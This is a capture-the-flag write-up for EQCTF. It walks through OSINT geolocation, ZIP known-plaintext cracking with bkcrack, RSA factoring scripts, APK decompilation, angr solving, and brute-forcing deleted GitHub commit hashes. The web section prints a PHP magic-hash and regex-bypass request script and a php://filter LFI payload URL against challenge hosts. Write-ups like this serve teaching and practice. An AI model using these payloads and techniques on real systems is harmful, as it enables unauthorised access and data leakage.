# EQCTF # OSINT ## Lost At Sea - You are given an image and need to find its **exact coordinates**. <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119154146.png"> --- - At first I search for the `NOVOTEL`, and reverse search the cropped image of the hotel. <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119160436.png" width="400"> --- - I found the location at `lyon, france` and tried every possible attempts from the angle (street view) ... none of them works, I even tried changing different time. <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119160852.png" width="600" height="600"> --- - Then, after multiple attempts, I click at the `river` and open the `street view`. <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119161753.png"> --- - After `analyze and compare` the `image and street view`, I found out they are the same, the exact coords is at the `link url in red`. <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119155109.png"> --- ## Garry: Beyond Music's End 3 Desc: Garry and his friends seem to be talking about a new threat group that steals wizard data, wonder what the fuzz is all about... --- - This one need to find the `github repo` since they mentioned `repo`. <img src="https://bakayang.vercel.app/images/Screenshot%202025-01-19%20at%204.46.13%20PM.png"> --- - After looking through the files, I found out they prob removed it. But, you can still find it via `Activity` <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119165000.png"> --- - Bingo! <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119164814.png"> --- ## Garry: Beyond Music's End 4 Desc: Garry made a new post, I heard he is gonna be a Supreme Wizard today! --- - In `Garry's x.com` from `Garry: Beyond Music's End 1`, the image description in the gif contains a `link`. <img src="https://bakayang.vercel.app/images/Screenshot%202025-01-18%20at%206.35.09%20PM.png" width="500"> --- - The `link` navigates to a `brainfuck code`. <img src="https://bakayang.vercel.app/images/Screenshot%202025-01-18%20at%206.34.36%20PM%201.png"> --- - Decrypting `brainfuck code` gets you a `discord link`. <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119163523.png" width="700"> --- - Inside `discord link`, got `plus code`. <img src="https://bakayang.vercel.app/images/Screenshot%202025-01-19%20at%204.36.31%20PM.png" width="900"> --- - After research `plus code`, it gets to the `location`. <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119163930.png" width="700"> # BRAINFUCK ## DETERMINATION - Whoever made this challenge, I'll send assassins to u. JK... JK... - This challenge is so cooked... --- - First, I use `premiere pro` to `0.25x speed`. - and yes, I watched every frames 😭 - The challenge is to `spot the flag` `hidden sight` in the video. - You get the flag in `3 parts`. - The first one ||look bottom left corner|| <img src="https://bakayang.vercel.app/images/Screenshot%202025-01-19%20at%205.00.13%20PM.png"> - The second one ||left besides tree in white dream|| <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119172906.png" width="700"> - The third one ||look under the window|| <img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119171128.png" width="700"> - The flag (for those who don't want to cooked): ||EQCTF{R3AL_3L1T3_3Y3S1GHT}|| --- # Misc ## Join Our Discord - Just join the discord and there is the flag on the annoucment channel ```RVFDVEZ7VzNsQzBtM19UMF9FcXVpbGlicml1bV9EMXNjMHJkfQ==``` cyberchef it and get the flag ```EQCTF{W3lC0m3_T0_Equilibrium_D1sc0rd}``` # Forensic ## Velociraptor 1. Download the attach file 2. VeLoCiraptor\C\Users\kelvin\AppData\Roaming\Microsoft\Windows\Recent - We can found some hash on this page with the file name ```RVFDVEZ7MXRzX3IzNExseV9o and MG1ldzBya190UnVTdF9tMyF9``` ![image](https://hackmd.io/_uploads/rk57wgK21x.png) 3. Then just cyberchef it. ## Kuih Lapis 1. Download the poem.pdf file 2. Throw it into [pdf inspect](https://pdfcrowd.com/inspect-pdf/) website and we will see all the details in this page ![image](https://hackmd.io/_uploads/rkU8LgFh1x.png) 3. And we can see the details and flag at here ! 4. ![image](https://hackmd.io/_uploads/SyKP8lF2kg.png) ## Lost Password 1. Download the zip file. 2. We can see inside have cloud_password.txt and a index.html file. ![image](https://hackmd.io/_uploads/HkRy_eY21g.png) 3. With the use of BKCrack, we can use known plaintext attack on pkzip 4. Next find the common bytes in the index.html file(why html file? as we dont know the starters of the cloud_password.txt) ![image](https://hackmd.io/_uploads/SJN5UeK3Jg.png) . 5. Save those code in a file call bin 6. Then ```bkcrack -C html.zip -c "index.html" -p bin``` 7. After getting the key, Continue to crack it 8. ```bkcrack -C html.zip -k 1d63e85a b3b66126 33619315 -U bkbk.zip 1234``` 1d63e85a b3b66126 33619315 is the key, and 1234 is the password we set. 9. then unzip the zip file bkbk.zip with pass 1234. 10. Thats it the flag here ![image](https://hackmd.io/_uploads/By35IxK2yl.png) # Crypto ## Neighbour RSA 1. Download the file, then see the rsa encrypted code ```Original_Code from Crypto.Util.number import inverse, long_to_bytes from gmpy2 import isqrt, mpz def fermat_factorization(N): a = isqrt(N) + 1 b2 = a * a - N while not is_square(b2): a += 1 b2 = a * a - N b = isqrt(b2) return a - b, a + b def is_square(n): return isqrt(n) ** 2 == n # Given values N = 14587704432822344892341272427282646120364434437414523883376089608218979364959927948590898540264210246449374363014541914863792835772986609660515612532877044074684115597786182642011407163350289201826895454398548254854919237599957739718174053771619150887665707867636064460914489445835497948439951659044458159773886454887057327846897569977945202458245268351728125973721764332352011029125694046428350269451464778793326007087955043888570293765138721335344787054343738337660927131968049415376352589981259058448540690666004751490375493430556965591293772542601776934892741235532054785639594081598607404023545471998403197674267 e = 65537 C = 7329184746351979600304810893726842767688467204256990201181172159445966473650977905122553415838916142690364388789400790015517642902297387406215773278164829517035052625373870964570981590734714495297149889660019174034119566329569798047522829383224123884562703447321306836996392334132844673471179765556339187200820259655159008340673516040862000226792914228312336356120448967504158288031247387263438925257977725844911872753683719735641011693324441777888582417108481882731436005780409094974241968759397096299213838515746566064813787517925040756180508206242396925444425306180593790729890681708626826056328684043890127100581 # Step 1: Factorize N p, q = fermat_factorization(N) print(f"p = {p}") print(f"q = {q}") # Step 2: Compute the private key d phi = (p - 1) * (q - 1) d = inverse(e, phi) print(f"d = {d}") # Step 3: Decrypt the ciphertext C plaintext = pow(C, d, N) print(f"Plaintext (as long): {plaintext}") # Step 4: Convert the plaintext to bytes flag = long_to_bytes(plaintext) print(f"Flag: {flag.decode()}") ``` 2. Then decrypt it! ``` Decrpytt from Crypto.Util.number import inverse, long_to_bytes from gmpy2 import isqrt, mpz def fermat_factorization(N): a = isqrt(N) + 1 b2 = a * a - N while not is_square(b2): a += 1 b2 = a * a - N b = isqrt(b2) return a - b, a + b def is_square(n): return isqrt(n) ** 2 == n # Given values N = 14587704432822344892341272427282646120364434437414523883376089608218979364959927948590898540264210246449374363014541914863792835772986609660515612532877044074684115597786182642011407163350289201826895454398548254854919237599957739718174053771619150887665707867636064460914489445835497948439951659044458159773886454887057327846897569977945202458245268351728125973721764332352011029125694046428350269451464778793326007087955043888570293765138721335344787054343738337660927131968049415376352589981259058448540690666004751490375493430556965591293772542601776934892741235532054785639594081598607404023545471998403197674267 e = 65537 C = 7329184746351979600304810893726842767688467204256990201181172159445966473650977905122553415838916142690364388789400790015517642902297387406215773278164829517035052625373870964570981590734714495297149889660019174034119566329569798047522829383224123884562703447321306836996392334132844673471179765556339187200820259655159008340673516040862000226792914228312336356120448967504158288031247387263438925257977725844911872753683719735641011693324441777888582417108481882731436005780409094974241968759397096299213838515746566064813787517925040756180508206242396925444425306180593790729890681708626826056328684043890127100581 # Step 1: Factorize N p, q = fermat_factorization(N) print(f"p = {p}") print(f"q = {q}") # Step 2: Compute the private key d phi = (p - 1) * (q - 1) d = inverse(e, phi) print(f"d = {d}") # Step 3: Decrypt the ciphertext C plaintext = pow(C, d, N) print(f"Plaintext (as long): {plaintext}") # Step 4: Convert the plaintext to bytes flag = long_to_bytes(plaintext) print(f"Flag: {flag.decode()}")</p> ``` 3. and you get the flag ## Neighbour RSA_2 1. Here is the original code provided ``` from Crypto.Util.number import * from gmpy2 import prev_prime as next_prime import secrets flag = b"EQCTF{<REDACTED>}" a = bytes_to_long(secrets.token_bytes(100)) p = getPrime(1024) q = next_prime(a+p) N = int(p*q) e = 65537 f = int(q+a-p) C = pow(bytes_to_long(flag),e,N) print(f"{N=}") print(f"{e=}") print(f"{C=}") print(f"{f=}") # N=10986069679740899320769487987259965136338163538313920951921558170716399011131571749355967327929782757252961432250665732844670832757630969990974354211674665217879301194915967815961901955331119097862220567741900953344002421010199387139438258915388299120537312319419560196095221842536034797857570594271497968571543268632342368822758109031157038270115475046299925831141039892806064466450571546834222025788616070408548026473179492912530200671560292851465500255213172920644302815477881129226831758156389887396481079039150256181152083078507883863985140189407376955776873853730599843478872399976242973508423433618152961348309 # e=65537 # C=2195468989281538327484120144714886786222108443822386213335264431639447179575013802497596322014889540032797783666693430103844035492180467143334243466603968944829680836129211979667061913058333561267630828758422011805278536599370681276716534375047691415305153173304117404635308274845621779917651565487097467077938208235595083835638297185421167329868537607503750906624903899336968072524704962983010525959106240384416922803445710408493786560172567404469778095227805268385869729463091111594408973206573286013513443234182105724723290297083787222131780636442462497223002541517291130831271935451970740180808267897428166746499 # f=4203301120017181153512192371191327436380286582036247438379481982220240276670686609670968370331071343886281566516951351186472802979725501149166852576293749655990806367361286991990410689444889766967820170478115967009340001288791419622177173652 ``` 2. Decrypt it ``` from Crypto.Util.number import long_to_bytes, inverse from gmpy2 import isqrt # Given values N = 10986069679740899320769487987259965136338163538313920951921558170716399011131571749355967327929782757252961432250665732844670832757630969990974354211674665217879301194915967815961901955331119097862220567741900953344002421010199387139438258915388299120537312319419560196095221842536034797857570594271497968571543268632342368822758109031157038270115475046299925831141039892806064466450571546834222025788616070408548026473179492912530200671560292851465500255213172920644302815477881129226831758156389887396481079039150256181152083078507883863985140189407376955776873853730599843478872399976242973508423433618152961348309 e = 65537 C = 2195468989281538327484120144714886786222108443822386213335264431639447179575013802497596322014889540032797783666693430103844035492180467143334243466603968944829680836129211979667061913058333561267630828758422011805278536599370681276716534375047691415305153173304117404635308274845621779917651565487097467077938208235595083835638297185421167329868537607503750906624903899336968072524704962983010525959106240384416922803445710408493786560172567404469778095227805268385869729463091111594408973206573286013513443234182105724723290297083787222131780636442462497223002541517291130831271935451970740180808267897428166746499 f = 4203301120017181153512192371191327436380286582036247438379481982220240276670686609670968370331071343886281566516951351186472802979725501149166852576293749655990806367361286991990410689444889766967820170478115967009340001288791419622177173652 # Approximate a a_approx = f // 2 # Define a small range around a_approx range_size = 1000 # Adjust this range as needed # Iterate over the range for delta in range(-range_size, range_size + 1): a = a_approx + delta # Solve the quadratic equation: p^2 + (f - a) * p - N = 0 A = 1 B = f - a C_eq = -N # Discriminant discriminant = B**2 - 4 * A * C_eq # Check if discriminant is a perfect square if discriminant >= 0: sqrt_discriminant = isqrt(discriminant) if sqrt_discriminant * sqrt_discriminant == discriminant: # Solve for p p_candidate = (-B + sqrt_discriminant) // (2 * A) # Check if p_candidate is a factor of N if N % p_candidate == 0: p = p_candidate q = N // p print(f"Found p and q:") print(f"p = {p}") print(f"q = {q}") # Compute phi(N) phi = (p - 1) * (q - 1) # Compute the private key d d = inverse(e, phi) # Decrypt the ciphertext plaintext = pow(C, d, N) # Convert the plaintext to bytes flag = long_to_bytes(plaintext) print(f"Flag: {flag.decode()}") break else: continue else: print("Failed to factorize N.") ``` 3. Anddd there you go the flag # WEB ## EggSecret 1. First download the file attached and lets see whats inside. 2. We can see that there is a secret hash at there ```00e39786989574093743872279278460``` also there is something we need to bypass ```(preg_match("/^(.*?)+$/s", $egg))``` 3. ``` import requests url = "http://135.181.88.229:31730/" params = {"eggSecret": "240610708"} # String with MD5 hash starting with "0e" data = {"egg": "A" * 10000} # We need large input to bypass the regex response = requests.post(url, params=params, data=data) print(response.text) ``` 4. and we can get the flag content. ## KingsBrew 1. First we get into the website using the host and port given. 2. According to the hint it should be something menu as when you press {drink and flag!} it jump out menu.php. 3. After we test, LFI is usable in this case 4. ```http://135.181.88.229:35206/?page=php://filter/convert.base64-encode/resource=menu.php``` 5. This is one of LFI payloads of PHP filters to read menu.php without executing PHP and decode the base 64 by ourself using cyberchef. # Mobile ## Who's that pukimon 1. Download the APK Andorid files and open it in a android emulator(Im using andorid studio) 2. We can see that this is a game that we need to guess who is this Pokemon (pukimon) ![22](https://hackmd.io/_uploads/rJxD5xt2yl.png) 3. With the use of jadx-gui 4. We can see that the main activity files is mainactivity ![image](https://hackmd.io/_uploads/H1HKceK2yl.png) 5. Find it out at (source/io.eqctf.pukimon/MainActivitykt) 6. ![image](https://hackmd.io/_uploads/BJ059eK31e.png) ``` /* JADX INFO: Access modifiers changed from: private */ public static final Unit a$lambda$11$lambda$10(Context yeet, MutableState a$delegate) { Intrinsics.checkNotNullParameter(yeet, "$yeet"); Intrinsics.checkNotNullParameter(a$delegate, "$a$delegate"); if (a(a$lambda$6(a$delegate))) { Toast.makeText(yeet, "It's " + a$lambda$6(a$delegate), 0).show(); byte[] decode = Base64.decode("AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9", 0); Intrinsics.checkNotNullExpressionValue(decode, "decode(...)"); Log.d("Flag", "Congratz on guessing the pokemon: ".concat(new String(decode, Charsets.UTF_8))); } else { Toast.makeText(yeet, "It's not " + a$lambda$6(a$delegate), 0).show(); } return Unit.INSTANCE; } } ``` 7. Decode ```AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9``` with cyberchef and we can get the flag EQCTF{1Ts_Shr0oMr1sHiE!!!!} ## Capture that Pukimon 1. With the use of http toolkit, we can intercept the data from the firebase ![image](https://hackmd.io/_uploads/ByhaIxtn1l.png) 2. And thats the flag EQCTF{Int3RcEpT_da_Tr3FfiC}" # Reverse Engineering ## Baka Mitai ![question](https://hackmd.io/_uploads/SJ5_IWthJx.png) --- ### Goals 1. Check file information using checksec 2. Decompilation using ghidra, check the flagchecker flow 3. Deploy angr script, perform symbolic analysis _References:_ https://shinmao.github.io/posts/2022/02/bp1/ https://github.com/jakespringer/angr_ctf --- 1. Using checksec, we realised the file is dynamcally linked, stripped ![fileinfo](https://hackmd.io/_uploads/Byc_8-Yhye.png) 2. Decompile with ghidra, since it's stripped, we have to find the main entry from entry function ![entryFunction](https://hackmd.io/_uploads/rk9dU-thkl.png) 3. Try to rename the variables, functions, for ease of analysis ![renamed](https://hackmd.io/_uploads/Sye9_8-thJx.png) From this point, we could know that: - The program proceed if flag length == 0x37 (55 characters), - It go through complex transformation, lastly doing flagcheck and tell if the flag provide from user input is correct - Well, we are not going to reverse and go through these complex transformations. - Instead, we will deploy angr script, automate this process 4. I deployed the angr script on google colab ![googleColab](https://hackmd.io/_uploads/rk5OLWKnkx.png) ```python !pip install angr import angr import claripy # Define binary path and parameters input_file_path = './chall' flag_length = 55 known_string = 'EQCTF{' FIND_ADDR = 0x4016e4 AVOID_ADDR = [0x4016fa, 0x40159f] START_ADDR = 0x40158d # Load the binary proj = angr.Project(input_file_path, auto_load_libs=False, main_opts={'base_addr': 0x400000}) # Create symbolic characters for the flag known_chars = [claripy.BVV((known_string[i])) for i in range(len(known_string))] flag_chars = [claripy.BVS(f"flag_{i}", 8) for i in range(flag_length - len(known_string))] flag = claripy.Concat(*known_chars + flag_chars) # Create a blank state at the start address state = proj.factory.blank_state(addr=START_ADDR) state.options.add(angr.options.LAZY_SOLVES) state.options.add(angr.options.UNICORN) # Define the address of the local variable `local_58` (e.g., `[RBP - 0x50]`) # Assume RBP is initialized to some stack base (common for blank_state) stack_base = state.regs.rbp local_58_address = stack_base - 0x50  # Offset to local variable `local_58` # Store the symbolic flag into `local_58` state.memory.store(local_58_address, flag) # Pass the address of `local_58` in RDI (used by __isoc23_scanf) state.regs.rdi = local_58_address # Add constraints to ensure flag is printable (ASCII range 0x20 to 0x7e) for k in flag_chars:     state.solver.add(k < 0x7f)  # Less than 0x7f (127)     state.solver.add(k > 0x20)  # Greater than 0x20 (32) # Create a simulation manager sim_manager = proj.factory.simulation_manager(state) # Explore paths to find the target address while avoiding bad paths sim_manager.explore(find=FIND_ADDR, avoid=AVOID_ADDR) # Check if a solution was found if len(sim_manager.found) > 0:     # Evaluate the symbolic flag to retrieve its value     solution = sim_manager.found[0].solver.eval(flag, cast_to=bytes)     print(f"Flag found: {solution.decode()}") else:     print("No solution found.") ``` To understand how this script works in details, do check out the references provided, and follow the tutorials. The scripting is hard, it just follow a strict template. However, there are few points worth mentioning, - the start_addr, should be placed after scanf CALL instruction, better if placed at where complex transformation start - symbolic stack approach is an important point, specifically for this challenge where you can't just use a universal angr template - blank_state should be used instead of entry_state because strlen is called before scanf, if you define the sim manager with entry state, it will waste extra resources going through strlen library call. Within all libc library call, there are mutex locks which angr cant deal with, which is why you need to hook the function and simulate user input with symbolic memory - find_addr, is the desired memory location where the instance of "Correct" is reached - avoid_addr are the memory location to avoid such as "Wrong" ### Final Result --- ![finalResult](https://hackmd.io/_uploads/Sk9uLbtnkg.png) ## Cryptic Token Diffusion ![question](https://hackmd.io/_uploads/r1rLDbK3yl.png) --- ### Goals 1. Perform binary diffing 2. Match index number to correspond characters 3. Rearrange the character in ascending order according to their index number _Tools required: vbindiff_ --- 1. Viewing the files, there are two versions of application. Thus, we try to compare the difference between versions. ![files](https://hackmd.io/_uploads/SkHLDWK2Jx.png) ```bash vbindiff vault-v1.0.0.elf vault-1.2.1.elf ``` 2. Observe the pattern, we realised that there are two parts showing difference in binaries: - vault-v1.0.0 acts as the index number, corresponds to the characters in vault-v1.2.1 _Part 1_ ![diff1](https://hackmd.io/_uploads/HJH8w-Fnyg.png) _Part 2_ ![diff2](https://hackmd.io/_uploads/S1SIP-Knyg.png) - List out all the correspondence, sort them in ascending order, turn to ASCII and print it out ```python v1p1 = [12, 28, 0, 23, 15, 21, 10, 4, 27, 5, 26, 8, 17, 3, 18, 25] v1p2 = [9, 13, 7, 24, 6, 2, 1, 11, 14, 22, 29, 16, 19, 20] v2p1 = [0x37, 0x67, 0x45, 0x31, 0x62, 0x5f, 0x30, 0x46, 0x6e, 0x7b, 0x31, 0x74, 0x6e, 0x54, 0x34, 0x66] v2p2 = [0x72, 0x30, 0x6E, 0x66, 0x31, 0x43, 0x51, 0x5F, 0x5F, 0x64, 0x7D, 0x31, 0x72, 0x79] v1 = v1p1 + v1p2 v2 = v2p1 + v2p2 pairs = sorted(zip(v1, v2)) sorted_ascii = ''.join(chr(value) for _, value in pairs) print(sorted_ascii) ``` ### Final Result --- ![solution](https://hackmd.io/_uploads/S1BLvZF3yl.png) ## Gen Z ![question](https://hackmd.io/_uploads/rkUH_Zt2kl.png) --- ### Goals 1. Deobfuscate the C code, you may choose not to as it just work 2. Observe the log, figure out how the flag might relate to the timestamp --- 1. Opening the file, you will see obfuscated C code ```cpp #define rn ; #define finna = #define cap != #define mf * #define bouta & #define ongod ++ #define sheesh < #define fr << #define bet if #define chief main #define yikes break #define deadass return #define skibidi { #define tho } #define bussin cout #define huh true #define lit double #include <iostream> #include <fstream> #include <iomanip> #include <openssl/sha.h> using namespace std rn unsigned int seed() skibidi     deadass static_cast<unsigned int>(time(nullptr)) rn tho string getHash(lit value) skibidi     ostringstream oss rn     oss fr setprecision(17) fr value rn     string text finna oss.str() rn     unsigned char hash[SHA256_DIGEST_LENGTH] rn     SHA256(reinterpret_cast<const unsigned char mf>(text.c_str()), text.size(), hash) rn     ostringstream result rn     for (int i finna 0 rn i sheesh SHA256_DIGEST_LENGTH rn i ongod) {         result fr hex fr setw(2) fr setfill('0') fr static_cast<int>(hash[i]) rn     tho     deadass result.str() rn tho int chief() skibidi     while (huh) skibidi         unsigned int s finna seed() rn         srand(s) rn         int x finna rand() rn         string flag finna getHash(x) rn         bet (flag.find("a9ba358e") cap string::npos) {               ofstream outfile("./flag") rn             bet (outfile.is_open()) {                 outfile fr "EQCTF{" fr flag fr "tho" rn                 outfile.close() rn             tho             yikes rn         tho         time_t now finna time(0) rn         tm mf ltm finna localtime(bouta now) rn         bussin fr "[" fr 1900 + ltm->tm_year fr "-" rn         bussin fr 1 + ltm->tm_mon fr "-" rn         bussin fr ltm->tm_mday fr "] " rn         bussin fr "🤓☝️ erm actually, you're incorrect 🥺👉👈: " fr x fr endl rn     tho     bussin fr "Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿" fr endl rn     deadass 0 rn tho ``` Just replace the obfuscated part with its actual symbol as shown in define list, to ease our debugging process. 2. After debobfuscation, ```cpp #include <iostream> #include <fstream> #include <iomanip> #include <openssl/sha.h> using namespace std; unsigned int seed() {     return static_cast<unsigned int>(time(nullptr)); } string getHash(double value) {     ostringstream oss;     oss << setprecision(17) << value;     string text = oss.str();     unsigned char hash[SHA256_DIGEST_LENGTH];     SHA256(reinterpret_cast<const unsigned char *>(text.c_str()), text.size(), hash);     ostringstream result;     for (int i = 0; i < SHA256_DIGEST_LENGTH; i++)     {         result << hex << setw(2) << setfill('0') << static_cast<int>(hash[i]);     }     return result.str(); } int main() {     while (true)     {         unsigned int s = seed();         srand(s);         int x = rand();         string flag = getHash(x);         if (flag.find("a9ba358e") != string::npos)         {             ofstream outfile("./flag");             if (outfile.is_open())             {                 outfile << "EQCTF{" << flag << "}";                 outfile.close();             }             break;         }         time_t now = time(0);         tm *ltm = localtime(&now);         cout << "[" << 1900 + ltm->tm_year << "-";         cout << 1 + ltm->tm_mon << "-";         cout << ltm->tm_mday << "] ";         cout << "🤓☝️ erm actually, you're incorrect 🥺👉👈: " << x << endl;     }     cout << "Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿" << x << endl;     return 0; } ``` 3. Observing the logfile, ![logfile](https://hackmd.io/_uploads/SkUr_ZKhyg.png) We should focus that flag is paired up on \[2025-01-01], so we should patch our c code to run on that time stamp, and which we just need to fix the seed() function Part that affect: ```cpp unsigned int s = seed(); srand(s); int x = rand(); ``` Patched seed() function: ```cpp // Brute-force timestamp around 2025-01-01 unsigned int seed() { static time_t test_time = 1735689600; // 2025-01-01 00:00:00 UTC if (test_time <= 1735775999) { // 2025-01-01 23:59:59 UTC return static_cast<unsigned int>(test_time++); } return static_cast<unsigned int>(time(nullptr)); // Fallback to current time } // ------------------------------------------- // You may also add the line for Found correct seed: to indicate that you found correct seed if (flag.find("a9ba358e") != string::npos) { ofstream outfile("./flag"); if (outfile.is_open()) { outfile << "EQCTF{" << flag << "}"; outfile.close(); } cout << "Found correct seed: " << s << endl; break; } ... ... ``` 4. Due to the usage of openssl/sha.h, we should compile our C++ file as below ```bash g++ -o gen_z chall.cpp -lssl -lcrypto ``` 5. Execute the file ```bash ./gen_z ``` ### Final result --- ![correctSeed](https://hackmd.io/_uploads/H1UrOWK2kg.png) And flag file is generated: ![flag](https://hackmd.io/_uploads/SkUSObF2yl.png) # GitHub Here compiles all the challenge related to bruteforing github commit SHA1 hashes ## Goals 1. Some commits are deleted, but it is still hidden on github with original SHA1 key unless the whole repo is deleted and rebuilt. 2. We need to scrape the hidden commit by doing bruteforcing from hex 0000 until ffff to retrieve all the available commit hashes ## Challenges | Challenges | Category | | -------- | -------- | | Garry: Beyond Music's End 3 | OSINT | | Github is weirdddd 1.0 | Brainfuck | | Github is weirdddd 2.0 | Brainfuck | ## Solution @gr1d wrote a bruteforce tool, [GitSHA](https://github.com/gr1d-init/gitsha), for these challenges. ### Steps 1. Install the tool. ```bash= git clone https://github.com/gr1d-init/gitsha.git ``` 2. Automate bruteforcing with the tool. ```bash= python gitsha.py -r "<author's name>/<repo's name>" ``` ## Final result 1. Garry: Beyond Music's End 3 ``` 3419 4568 # 66f8 8da4 # a5b6 # ``` 2. Github is weirdddd 1.0 and 2.0 ``` 0067 0b3d 2a63 458e (GitHub 2.0) 481f 4bec 5b27 5ef6 621e 693a 724c 8f66 a24a b2ff c47a cf29 cfba (GitHub 1.0) ed44 ed90 f6aa ``` ### Flags | Challenges | Category | | -------- | -------- | | Garry: Beyond Music's End 3 | EQCTF{w1z4rd_0f_l3g3nds_1n_d1sgu1s3} | | Github is weirdddd 1.0 | EQCTF{hmmmmmmmm_G1t_L3ak_d@_Fl3g} | | Github is weirdddd 2.0 | EQCTF{Brut3333333333_D@_C0mm1t_99} |